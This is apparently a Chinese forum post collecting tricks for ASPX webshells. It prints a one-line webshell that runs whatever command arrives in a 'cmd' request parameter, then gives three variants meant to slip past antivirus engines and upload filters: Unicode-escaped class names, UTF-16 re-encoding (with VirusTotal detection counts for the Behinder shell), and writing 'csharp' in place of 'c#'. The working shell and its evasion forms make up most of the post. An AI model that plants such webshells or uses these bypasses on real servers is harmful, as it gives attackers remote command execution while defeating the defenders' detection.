aspx小trick

总结一下aspx的小trick以最简单的执行命令为例

<%@ Page Language="c#"%> <% System.Diagnostics.Process.Start(Request.Params["cmd"]); %>

1. aspx也有类似jsp unicode的特性,不同的是jsp可以对.等符号进行全部编码,但是aspx不可以,只能对26个英文字符unicode编码。在body里用全限定类名表示,就可以避免import标签无法隐藏的问题了

<%@ Page Language="c#"%> <% \u0053\u0079\u0073\u0074\u0065\u006d.\u0044\u0069\u0061\u0067\u006e\u006f\u0073\u0074\u0069\u0063\u0073.\u0050\u0072\u006f\u0063\u0065\u0073\u0073.\u0053\u0074\u0061\u0072\u0074(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0050\u0061\u0072\u0061\u006d\u0073["cmd"]); %>

Frj0tYT4Dol6M6-CLN3MpjtvyVC3.png

 

2.UTF-16编码

其实很多语言都支持UTF16编码,例如php,jsp等。aspx也同样支持。直接用vscode打开,重新用编码保存,选择utf-16编码即可。假如查杀引擎不支持utf16,则可以直接bypass。

Fhrmbs3fH13xiWoiestbOK4v0sHD.png

 

以冰蝎为例,vt上有些憨憨引擎就不支持原始的冰蝎23检出

FlxC2t7HpWiZb8VEmpaCQhRyFfHl.png

 

utf16编码后14检出

FjYUBTtlE7lnD3wJvGcwZGLLcNBC.png

 

 

3. c#->csharp有些waf会检测上传文件头

<%@ Page Language="c#"%>

 

但是这里的c#可以替换为csharp,一样是可以解析的。如果正则写的比较死,这里上传就绕过了。这个trick群里一个师傅也提到过。

<%@ Page Language="csharp"%> <% System.Diagnostics.Process.Start(Request.Params["cmd"]); %>

 

 

jsp翻译为java的处理过程是可以在tomcat里找到的,仔细研究其实都可以挖到一些trick。自己一直想找到aspx翻译为cs文件的过程具体是哪个模块实现的,但是翻了微软文档还有google之后都没找到。只能用一些骚操作来看出一些端倪。例如故意写一个报错文件就可以看到以下提示:

Frf2SjLshNjSaoelOyimqk8To8xO.png

 

不过遗憾的是只能看到翻译后的cs文件,还有csc编译cs文件的命令行,无法得知这一过程是如何完成的。这样就只能黑盒来测试了。等我再研究研究,或者有知道的师傅可以告诉我一下让我学习一波。

请登录后发表评论

    没有回复内容